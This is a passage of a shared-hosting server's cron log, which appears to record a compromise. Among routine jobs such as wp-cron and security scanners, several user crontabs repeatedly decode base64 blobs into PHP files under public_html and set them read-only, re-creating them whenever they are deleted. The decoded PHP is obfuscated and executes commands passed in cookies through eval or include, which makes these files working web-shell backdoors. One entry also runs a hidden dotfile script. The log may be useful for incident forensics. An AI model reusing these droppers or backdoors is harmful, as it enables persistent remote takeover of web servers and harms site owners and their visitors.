"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:17:02 medusa CROND[17819]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:17:02 medusa CROND[17820]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 10:17:02 medusa CROND[17821]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:17:02 medusa CROND[17826]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:17:02 medusa CROND[17827]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:17:02 medusa CROND[17828]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:17:02 medusa CROND[17829]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:17:02 medusa CROND[17830]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:17:02 medusa CROND[17835]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:18:02 medusa CROND[8605]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:18:02 medusa CROND[8607]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:18:02 medusa CROND[8608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:18:02 medusa CROND[8606]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:18:02 medusa CROND[8609]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:18:02 medusa CROND[8610]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:18:02 medusa CROND[8615]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:18:02 medusa CROND[8616]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:18:02 medusa CROND[8617]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:18:02 medusa CROND[8614]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:18:02 medusa CROND[8623]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 10:18:02 medusa CROND[8627]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:18:02 medusa CROND[8628]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:18:02 medusa CROND[8619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:19:01 medusa CROND[30340]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:19:01 medusa CROND[30383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:19:01 medusa CROND[30424]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:19:01 medusa CROND[30458]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:19:01 medusa CROND[30492]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:19:01 medusa CROND[30496]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:19:01 medusa CROND[30499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:19:01 medusa CROND[30502]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZ